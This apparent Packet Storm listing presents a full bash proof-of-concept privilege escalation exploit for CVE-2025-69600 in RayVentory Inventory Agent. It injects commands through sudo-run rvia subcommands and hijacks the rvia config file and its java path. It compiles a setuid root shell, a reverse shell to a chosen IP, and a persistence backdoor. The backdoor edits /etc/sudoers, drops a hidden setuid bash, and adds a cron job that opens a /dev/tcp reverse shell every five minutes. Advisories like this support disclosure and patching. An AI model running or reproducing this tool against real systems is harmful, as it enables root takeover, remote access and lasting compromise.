PACKETSTORM

📄 Raynet rvia 2.6.4392.49-amd64.deb Privilege Escalation_PACKETSTORM:215862

February 19, 2026 invoker category_exploit

Description

Proof of concept privilege escalation exploit for Raynet's RayVentory Inventory Agent version 2.6.4392.49-amd64.deb...
Visit Original Source

Basic Information

ID PACKETSTORM:215862
Published Feb 19, 2026 at 00:00

Affected Product

Affected Versions =============================================================================================================================================
| # Title : Raynet rvia 2.6.4392.49-amd64.deb Privilege Escalation Vulnerability |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits) |
| # Vendor : https://raynet.de/ |
=============================================================================================================================================

[+] Summary : A privilege escalation vulnerability identified as CVE-2025-69600 affects certain versions of RayVentory Inventory Agent.
The issue arises from improper validation and insufficient restriction of privileged operations when executed through sudo configurations.
Under specific misconfigurations, a local authenticated user may be able to execute unintended commands with elevated privileges.
Successful exploitation could lead to full system compromise, including unauthorized modification of system files and persistence mechanisms.
Organizations using affected versions should review sudo configurations, restrict command execution scopes, and upgrade to a patched version as recommended by the vendor

[+] POC :

#!/bin/bash

RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
NC='\033[0m'
VULNERABLE_VERSION="12.6.4392.49"
TARGET_DIR="/tmp"
PAYLOAD_NAME="rootme_$$" # Added PID to avoid conflict
BACKUP_DIR="/tmp/.rvia_backup_$$"
LISTENER_PORT="4444"
CVE_NUMBER="CVE-2025-69600"
REVERSE_IP=""
REVERSE_PORT="4444"
LISTENER_PID=""
CLEANUP_NEEDED=false
EXPLOIT_SUCCESS=false

show_help() {
cat << EOF
Exploit for $CVE_NUMBER - RayVentory Inventory Agent
Optimized Version 3.0

Usage: $0 [options]

Options:
-c, --check Only check for vulnerability
-e, --exploit Attempt local exploitation
-r, --reverse IP Reverse Shell (Example: -r 192.168.1.100)
-p, --port PORT Port (Default: 4444)
-b, --backdoor IP Install persistent backdoor
-h, --help Show help

Examples:
$0 -c
$0 -e
$0 -r 192.168.1.100 -p 5555
$0 -b 192.168.1.100
EOF
exit 0
}

cleanup() {
if [ "$CLEANUP_NEEDED" = true ]; then
echo -e "\n${YELLOW}[*] Cleaning up temporary files...${NC}"

rm -f "/tmp/$PAYLOAD_NAME" 2>/dev/null
rm -f "/tmp/$PAYLOAD_NAME.c" 2>/dev/null
rm -f "/tmp/malicious_$$.cfg" 2>/dev/null

if [ -d "/tmp/bin_$$" ]; then
rm -rf "/tmp/bin_$$" 2>/dev/null
fi

if [ -f "$BACKUP_DIR/rvia.cfg" ]; then
if [ -f "/opt/rvia/rvia.cfg" ]; then
cp "$BACKUP_DIR/rvia.cfg" "/opt/rvia/rvia.cfg" 2>/dev/null
fi
rm -rf "$BACKUP_DIR" 2>/dev/null
echo -e "${GREEN}[OK] Configuration file restored${NC}"
fi
if [ -n "$LISTENER_PID" ] && kill -0 "$LISTENER_PID" 2>/dev/null; then
kill "$LISTENER_PID" 2>/dev/null
sleep 1
kill -9 "$LISTENER_PID" 2>/dev/null
fi

echo -e "${GREEN}[OK] Cleanup complete${NC}"
fi
exit 0
}

trap cleanup SIGINT SIGTERM EXIT

create_payload() {
local payload_type=$1
local payload_path="/tmp/${PAYLOAD_NAME}.c"
local gcc_output

echo -e "${BLUE}[*] Creating payload: $payload_type${NC}"

case $payload_type in
"suid")
cat > "$payload_path" << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
if (setuid(0) != 0) {
return 1;
}
if (setgid(0) != 0) {
return 1;
}
execl("/bin/bash", "bash", "-p", NULL);
return 0;
}
EOF
;;
"reverse")
if [ -z "$REVERSE_IP" ]; then
echo -e "${RED}[!] Reverse shell IP not specified${NC}"
return 1
fi
cat > "$payload_path" << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <fcntl.h>

int main() {
int sock;
struct sockaddr_in server;

sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock < 0) return 1;

server.sin_family = AF_INET;
server.sin_port = htons($REVERSE_PORT);
server.sin_addr.s_addr = inet_addr("$REVERSE_IP");

if (connect(sock, (struct sockaddr *)&server, sizeof(server)) < 0) {
close(sock);
return 1;
}

dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);

execl("/bin/bash", "bash", NULL);
return 0;
}
EOF
;;
"backdoor")
if [ -z "$REVERSE_IP" ]; then
echo -e "${RED}[!] Backdoor IP not specified${NC}"
return 1
fi
cat > "$payload_path" << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <time.h>

int main() {
while(1) {
if (getuid() == 0) {
FILE *fp;
fp = fopen("/etc/sudoers", "a");
if (fp) {
fprintf(fp, "\\nroot ALL=(ALL:ALL) NOPASSWD:ALL\\n");
fclose(fp);
}
system("cp /bin/bash /tmp/.hidden_bash && chmod 4755 /tmp/.hidden_bash");
system("echo '*/5 * * * * root /tmp/.hidden_bash -c \"bash -i >& /dev/tcp/$REVERSE_IP/$REVERSE_PORT 0>&1\"' >> /etc/crontab");
break;
}
sleep(5);
}
return 0;
}
EOF
;;
*)
echo -e "${RED}[!] Unknown payload type: $payload_type${NC}"
return 1
;;
esac

if ! command -v gcc &> /dev/null; then
echo -e "${RED}[!] gcc is not installed${NC}"
return 1
fi

gcc_output=$(gcc -Wall "$payload_path" -o "/tmp/$PAYLOAD_NAME" 2>&1)
if [ $? -ne 0 ]; then
echo -e "${RED}[!] Failed to compile payload${NC}"
echo -e "${RED}$gcc_output${NC}"
return 1
fi

chmod +x "/tmp/$PAYLOAD_NAME"
echo -e "${GREEN}[OK] Payload created successfully: /tmp/$PAYLOAD_NAME${NC}"
CLEANUP_NEEDED=true
return 0
}

check_version() {
echo -e "${BLUE}[*] Checking RayVentory version...${NC}"

local version=""
local installed=false

if command -v dpkg &> /dev/null; then
version=$(dpkg -l 2>/dev/null | grep rvia | awk '{print $3}')
if [ -n "$version" ]; then
installed=true
fi
fi

if [ "$installed" = false ] && [ -f "/opt/rvia/rvia" ]; then
version=$(/opt/rvia/rvia --version 2>/dev/null | head -n1 | grep -oE '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+')
if [ -n "$version" ]; then
installed=true
fi
fi

if [ "$installed" = false ]; then
echo -e "${RED}[!] RayVentory is not installed on the system${NC}"
return 1
fi

echo -e "${GREEN}[OK] Installed version: $version${NC}"

if command -v dpkg &> /dev/null; then
if dpkg --compare-versions "$version" le "$VULNERABLE_VERSION" 2>/dev/null; then
echo -e "${GREEN}[OK] System is vulnerable to $CVE_NUMBER${NC}"
return 0
else
echo -e "${RED}[!] Version $version is newer than the known vulnerable version${NC}"
echo -e "${YELLOW}[!] System might not be vulnerable${NC}"
return 1
fi
else
echo -e "${YELLOW}[!] Cannot accurately verify vulnerability status${NC}"
echo -e "${YELLOW}[!] Proceeding with exploitation attempt at your own risk${NC}"
return 0
fi
}

check_sudo() {
echo -e "${BLUE}[*] Checking sudo privileges...${NC}"

if ! command -v sudo &> /dev/null; then
echo -e "${RED}[!] sudo is not installed${NC}"
return 1
fi

if ! sudo -n true 2>/dev/null; then
echo -e "${YELLOW}[!] sudo may require a password${NC}"
echo -e "${YELLOW}[*] Please enter password if prompted${NC}"
fi

local sudo_config=$(sudo -l 2>&1)

if echo "$sudo_config" | grep -q "sorry, a password is required"; then
echo -e "${RED}[!] sudo password required but not provided${NC}"
return 1
fi

if ! echo "$sudo_config" | grep -q "rvia"; then
echo -e "${RED}[!] No sudo privileges found for rvia${NC}"
return 1
fi

echo -e "${GREEN}[OK] sudo privileges exist${NC}"

local patterns=(
"rvia[[:space:]]*\*"
"rvia[[:space:]]+getconfig"
"rvia[[:space:]]+upload"
"rvia[[:space:]]+inventory"
"rvia[[:space:]]+oracle"
"(root)[[:space:]]*"
"(ALL[[:space:]]*:[[:space:]]*ALL)"
"(ALL)[[:space:]]*"
)

local found=0
for pattern in "${patterns[@]}"; do
if echo "$sudo_config" | grep -qE "$pattern"; then
found=1
echo -e "${GREEN}[OK] Found exploitable pattern: $pattern${NC}"
break
fi
done

if [ $found -eq 1 ]; then
echo -e "${GREEN}[OK] Configuration is exploitable!${NC}"
return 0
else
echo -e "${YELLOW}[!] Configuration may not be directly exploitable${NC}"
return 0
fi
}

exploit_single_method() {
local method=$1
local cmd="/tmp/$PAYLOAD_NAME"
local temp_cfg="/tmp/malicious_$$.cfg"

echo -e "${BLUE}[*] Attempting exploit using: $method${NC}"

if [ ! -d "$BACKUP_DIR" ] && [ -f "/opt/rvia/rvia.cfg" ]; then
mkdir -p "$BACKUP_DIR"
cp "/opt/rvia/rvia.cfg" "$BACKUP_DIR/" 2>/dev/null
fi

case $method in
"getconfig")
sudo /opt/rvia/rvia getconfig \";$cmd;\" 2>/dev/null
;;
"upload")
mkdir -p "/opt/rvia/results" 2>/dev/null
touch "/opt/rvia/results/test_$$.xml" 2>/dev/null
sudo /opt/rvia/rvia upload \"\;$cmd\;#\" 2>/dev/null
;;
"inventory")
sudo /opt/rvia/rvia inventory \";$cmd;\" 2>/dev/null
;;
"oracle")

local bin_dir="/tmp/bin_$$"
mkdir -p "$bin_dir" 2>/dev/null
ln -sf "/tmp/$PAYLOAD_NAME" "$bin_dir/java" 2>/dev/null

cat > "$temp_cfg" << EOF
javaPaths=$bin_dir/
EOF
cp "$temp_cfg" "/opt/rvia/rvia.cfg" 2>/dev/null

sudo /opt/rvia/rvia oracle test 2>/dev/null
;;
"config")
cat > "$temp_cfg" << EOF
configDownloadSource=http://127.0.0.1:$LISTENER_PORT/malicious
schedule:command:$cmd * * * * *
EOF
cp "$temp_cfg" "/opt/rvia/rvia.cfg" 2>/dev/null

(
timeout 5 nc -l -p "$LISTENER_PORT" -q 1 2>/dev/null << EOF
HTTP/1.1 200 OK
Content-Type: text/plain

malicious
EOF
) &
LISTENER_PID=$!
sleep 2

sudo /opt/rvia/rvia getconfig 2>/dev/null
;;
esac

sleep 3
}

check_success() {
local payload="/tmp/$PAYLOAD_NAME"

if [ ! -f "$payload" ]; then
return 1
fi

if [ -u "$payload" ]; then
echo -e "${GREEN}[OK] Privilege escalation successful!${NC}"
echo -e "${GREEN}[OK] Launching root shell...${NC}"
EXPLOIT_SUCCESS=true
"$payload"
return 0
fi

if command -v stat &> /dev/null; then
local perms=$(stat -c "%A" "$payload" 2>/dev/null)
if [[ $perms == *s* ]]; then
echo -e "${GREEN}[OK] Privilege escalation successful (stat)!${NC}"
EXPLOIT_SUCCESS=true
"$payload"
return 0
fi
fi

return 1
}

try_all_methods() {
local methods=("getconfig" "upload" "inventory" "oracle" "config")
local success=1

for method in "${methods[@]}"; do
exploit_single_method "$method"

if check_success; then
success=0
break
fi

# Restore configuration file after each failed attempt
if [ -f "$BACKUP_DIR/rvia.cfg" ]; then
cp "$BACKUP_DIR/rvia.cfg" "/opt/rvia/rvia.cfg" 2>/dev/null
fi
done

return $success
}


install_backdoor() {
echo -e "${BLUE}[*] Installing persistent backdoor...${NC}"

if [ -z "$REVERSE_IP" ]; then
echo -e "${RED}[!] Backdoor IP must be specified${NC}"
return 1
fi

if create_payload "backdoor"; then
if try_all_methods; then
echo -e "${GREEN}[OK] Backdoor installed successfully${NC}"
echo -e "${YELLOW}[*] Reverse shell to $REVERSE_IP:$REVERSE_PORT every 5 minutes${NC}"
return 0
else
echo -e "${RED}[!] Failed to install backdoor${NC}"
return 1
fi
fi
}

main() {

local CHECK_ONLY=false
local EXPLOIT=false
local BACKDOOR=false
local REVERSE=false

while [[ $# -gt 0 ]]; do
case $1 in
-c|--check)
CHECK_ONLY=true
shift
;;
-e|--exploit)
EXPLOIT=true
shift
;;
-r|--reverse)
REVERSE=true
if [ -z "$2" ] || [[ "$2" =~ ^- ]]; then
echo -e "${RED}[!] IP required for reverse shell${NC}"
exit 1
fi
REVERSE_IP="$2"
shift 2
;;
-p|--port)
if [ -z "$2" ] || [[ "$2" =~ ^- ]]; then
echo -e "${RED}[!] Port number required${NC}"
exit 1
fi
if ! [[ "$2" =~ ^[0-9]+$ ]] || [ "$2" -lt 1 ] || [ "$2" -gt 65535 ]; then
echo -e "${RED}[!] Invalid port: $2${NC}"
exit 1
fi
REVERSE_PORT="$2"
shift 2
;;
-b|--backdoor)
BACKDOOR=true
if [ -z "$2" ] || [[ "$2" =~ ^- ]]; then
echo -e "${RED}[!] IP required for backdoor${NC}"
exit 1
fi
REVERSE_IP="$2"
shift 2
;;
-h|--help)
show_help
;;
*)
echo -e "${RED}Unknown option: $1${NC}"
show_help
;;
esac
done

if [ ! -f "/opt/rvia/rvia" ]; then
echo -e "${RED}[!] RayVentory is not installed at /opt/rvia/rvia${NC}"
exit 1
fi

if [ "$CHECK_ONLY" = true ]; then
check_version && check_sudo
exit $?
fi

if [ "$BACKDOOR" = true ]; then
check_version && check_sudo && install_backdoor
exit $?
fi

if [ "$REVERSE" = true ]; then
check_version && check_sudo && create_payload "reverse" && try_all_methods
if [ $? -eq 0 ] && [ "$EXPLOIT_SUCCESS" = false ]; then
echo -e "${RED}[!] Exploit failed${NC}"
exit 1
fi
exit 0
fi

if [ "$EXPLOIT" = true ]; then
check_version && check_sudo && create_payload "suid" && try_all_methods
if [ $? -eq 0 ] && [ "$EXPLOIT_SUCCESS" = false ]; then
echo -e "${RED}[!] Exploit failed${NC}"
exit 1
fi
exit 0
fi

show_help
}

main "$@"

Greetings to :======================================================================
jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|
====================================================================================

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.